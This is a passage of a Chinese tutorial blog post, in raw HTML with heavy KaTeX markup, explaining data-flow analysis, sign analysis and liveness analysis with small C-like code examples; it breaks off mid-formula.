      <![CDATA[<blockquote><ol class="series-items"><li><a href="/pl/understanding-program-analysis/" title="（一）初识软件分析">（一）初识软件分析</a></li><li><a href="/pl/data-flow-analysis/" title="（二）数据流分析基础">（二）数据流分析基础</a></li><li><a href="/pl/LP-souffle/" title="（三）Datalog和程序分析">（三）Datalog和程序分析</a></li><li><a href="/pl/ssa-and-sparse-analysis/" title="（四）静态单赋值和稀疏分析">（四）静态单赋值和稀疏分析</a></li><li><a href="/pl/Interprocedural-DFA/" title="（五）过程间分析">（五）过程间分析</a></li><li><a href="/pl/points-to-analysis/" title="（六）指向分析">（六）指向分析</a></li><li><a href="/pl/abstract-interpretation/" title="（七）抽象解释">（七）抽象解释</a></li><li><a href="/pl/smt-and-symbolic-execution/" title="（八）SMT和符号执行">（八）SMT和符号执行</a></li><li><a href="/pl/static-analysis-tools/" title="（九）体验静态分析工具">（九）体验静态分析工具</a></li><li><a href="/pl/fuzzing-introduction/" title="（十）Fuzzing 基础">（十）Fuzzing 基础</a></li></ol></blockquote><h2 id="数据流分析">数据流分析</h2><p>基本思想：<strong>程序视作状态和状态的转移两部分组成，忽视状态转移的条件，分析状态转移时的变化。</strong></p><p>近似的两种方案：</p><ol><li><strong>忽略程序的条件判断，认为程序的所有分支都有可能到达</strong>。</li><li>**控制流分叉合并。**这会大大的减少计算量。</li></ol><p>这些性质在后面会解释。</p><h2 id="符号分析">符号分析</h2><p>思想：对变量进行抽象，分析输入的符号和输出的符号，得到抽象的结果。在此基础上可自定义分类和类似地拓展，用更加抽象和概括的符号。例如，对于整数类型，我们可以分成零、正、负、未知四种输入和结果，而不考虑具体的数值。</p><p>按照状态转移，我们可能有多条执行路径能够到达目的点 A。例如，if 语句是典型的区分执行路径的的方式。由于未知结果的函数 <code>func1</code> 和 <code>func2</code>，a 最终的符号可能是正、负或者未知。那么，我们可以得到 2 条可能的执行路径(0、5、1、未知)或者执行路径(0、-1、1、 未知)。这里也体现了忽视条件判断的观点。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> a = <span class="number">0</span>;</span><br><span class="line">a = func1();</span><br><span class="line">b = func2();</span><br><span class="line"><span class="comment">//位置1</span></span><br><span class="line"><span class="keyword">if</span>(a &gt; <span class="number">5</span>)&#123;</span><br><span class="line">    a -= <span class="number">4</span>;</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    a = <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">//位置2</span></span><br><span class="line">a = b;</span><br></pre></td></tr></table></figure><p>我们可以：</p><ol><li><strong>进一步抽象，合并数据</strong>，将第二步的 5 和 -1 抽象为 “非 0 数”。</li><li><strong>在控制流汇合的部分，如 if 执行完后，合并数据</strong>，而不是单独视作单独的数据流。</li></ol><p>例如，当经过了 if-else 语句之后，a 的值至少是 1，所以可以合并后 a 的值变化是（0，未知，大于 0，未知）</p><p>最后，总结一般流程：</p><ol><li>确定状态集合：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">{</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">...</span><span class="mclose">)</span><span class="mord">∣</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="mclose delimcenter" style="top:0em;">}</span></span></span></span></span>, <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">D</span></span></span></span> 是每个子状态或者元素的定义域。</li><li>每个执行路径上的每个节点视作状态集合 S 的元素。</li><li>确定初始值状态 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="mord mathnormal">A</span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">n</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">ry</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>，设置执行路径上每个节点的状态默认值 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="mord mathnormal">A</span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight">e</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span>，<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span></span></span></span> 表示任何情况，随后的半格理论中会再次说明。</li><li>确定节点的状态转换函数 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6861em;"></span><span class="mord"><span class="mord"><span class="mord boldsymbol" style="margin-right:0.05382em;">S</span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6861em;"></span><span class="mord"><span class="mord"><span class="mord boldsymbol" style="margin-right:0.05382em;">S</span></span></span></span></span></span>，具体的函数规则由每个节点的内容决定。</li><li>在控制流汇合处，例如在节点 <code>v</code> 处回合，确定交汇运算 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">MEE</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0385em;vertical-align:-0.3552em;"></span><span class="mord"><span class="mord">Π</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3448em;"><span style="top:-2.5198em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02691em;">w</span><span class="mrel mtight">∈</span><span class="mord mtight"><span class="mord mathrm mtight">pred</span><span class="mopen mtight">(</span></span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span><span class="mclose mtight">)</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.3552em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord"><span class="mord mathrm">DATA</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.02691em;">w</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，其中 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 表示当前节点，<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">p</span><span class="mord mathnormal">re</span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mclose">)</span></span></span></span> 表示当前节点的前驱节点的集合，所以 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span></span></span></span> 指的是前驱节点。我们约定，交汇处会覆盖默认值，也即 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">Π</span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 。<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord">Π</span></span></span></span> 表示交汇运算。</li><li>如果数据流中某个节点的前驱节点更新了，那么更新该节点。</li><li>如果没有任何节点的状态更新，那么结束执行。</li></ol><p>如果需要深入探讨这个基本流程的性质，一般会包括以下内容：</p><ul><li>Terminating 终止性。符号分析是否会终止，还是一直循环。</li><li>Confluent 合流。这指的是更新节点时的顺序是否会影响到最终的结果。</li></ul><p>以上两者可以笼统的归纳为<strong>符号执行方法是否收敛 (Convergence)</strong>，这将会涉及数理逻辑中形式系统的知识。</p><h2 id="活跃变量分析">活跃变量分析</h2><p>Liveness analyze 活跃变量分析在编译器、垃圾回收机制中非常常见。对于给定的程序，对于语句 S，变量 V 定义在语句 S 之前，如果 V 的值在执行 S 语句之后还会被读取，那么 V 就是活跃变量。这里需要额外注意的是，活跃变量并不是根据变量名来区分的，而是根据变量实际代表的对象(例如指针指向的值)来区分变量。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">var x,y,z;</span><br><span class="line">x = input;</span><br><span class="line"><span class="keyword">while</span> (x&gt;<span class="number">1</span>) &#123;</span><br><span class="line">y = x/<span class="number">2</span>;</span><br><span class="line"><span class="keyword">if</span> (y&gt;<span class="number">3</span>) x = x-y;</span><br><span class="line">z = x<span class="number">-4</span>;</span><br><span class="line"><span class="keyword">if</span> (z&gt;<span class="number">0</span>) x = x/<span class="number">2</span>;</span><br><span class="line">z = z<span class="number">-1</span>;</span><br><span class="line">&#125;</span><br><span class="line">output x;</span><br></pre></td></tr></table></figure><p>例如第四行的变量 y 被覆盖了，那么指向第四行之前的变量 y 和执行第四行之和的变量 y，是不同的变量，而且在 y 的值变化的过程中，原来的 y 没有被读取。所以在第一行确定的变量 y 不是活跃变量。</p><p>但是第 9 行的变量 z，是活跃变量，尽管它被覆盖了，但是在覆盖之前读取了 z 的值。</p><p>活跃变量的分析属于 may 分析，归纳为活跃变量的变量，在后续的执行中可能就不是活跃变量了，因此，<strong>一般从程序结束的出口开始分析活跃变量</strong>。</p><p><img src="https://cdn.blog-blockchain.xyz/202204041350944.png" alt="image-20220404135039856"></p><p>对于执行路径的每个节点，我们给出每个节点活跃变量的集合 ，然后从出口倒着向入口分析，在不同控制流的<strong>交汇处取并集</strong>，这样就可以得到满足 “变量在当前语句之和会被读取” 的性质。</p><p>最后总结一般流程：</p><ol><li><p>初始化出口处的活跃变量为空 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="mord mathnormal">A</span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.22222em;">V</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">{</span><span class="mclose delimcenter" style="top:0em;">}</span></span></span></span></span>，</p></li><li><p>定义从后往前时每个节点的活跃变量的转换函数</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">L</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">L</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">KILL</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∪</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">GE</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span><span class="mspace newline"></span><span class="base"><span class="strut" style="height:3em;vertical-align:-1.25em;"></span><span class="mord mathnormal">s</span><span class="mord">.</span><span class="mord mathnormal">t</span><span class="mord">.</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size4">{</span></span><span class="mord"><span class="mtable"><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.69em;"><span style="top:-3.69em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord"><span class="mord"><span class="mord mathrm">KILL</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">{</span><span class="mord mathnormal">x</span><span class="mord">∣</span><span class="mord mathnormal">x</span><span class="mord text"><span class="mord cjk_fallback">被覆盖</span></span><span class="mspace"> </span><span class="mord"><span class="mord mathrm">or</span></span><span class="mspace"> </span><span class="mord mathnormal">x</span><span class="mord text"><span class="mord cjk_fallback">被重定义</span></span><span class="mclose delimcenter" style="top:0em;">}</span></span></span></span><span style="top:-2.25em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">GE</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">{</span><span class="mord mathnormal">x</span><span class="mord">∣</span><span class="mord mathnormal">x</span><span class="mord text"><span class="mord cjk_fallback">被读取</span></span><span class="mclose delimcenter" style="top:0em;">}</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.19em;"><span></span></span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><p>其中 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">L</span></span></span></span> 表示当前节点从后继节点获取的活跃变量的集合，<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">KILL</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 是需要在活跃变量集合中删除的变量，<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">GE</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">N</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 是当前节点 v 处产生的新的活跃变量。</p></li><li><p>交汇处运算 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">MEE</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.22222em;">V</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.2247em;vertical-align:-0.4747em;"></span><span class="mop"><span class="mop op-symbol small-op" style="position:relative;top:0em;">⋃</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2253em;"><span style="top:-2.4003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02691em;">w</span><span class="mrel mtight">∈</span><span class="mop mtight"><span class="mord mathrm mtight">succ</span></span><span class="mopen mtight">(</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span><span class="mclose mtight">)</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.4747em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="mord mathnormal">A</span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02691em;">w</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，表示后继节点的状态的并集。</p></li><li><p>更新活跃变量集合 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">L</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.05764em;">MEE</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord 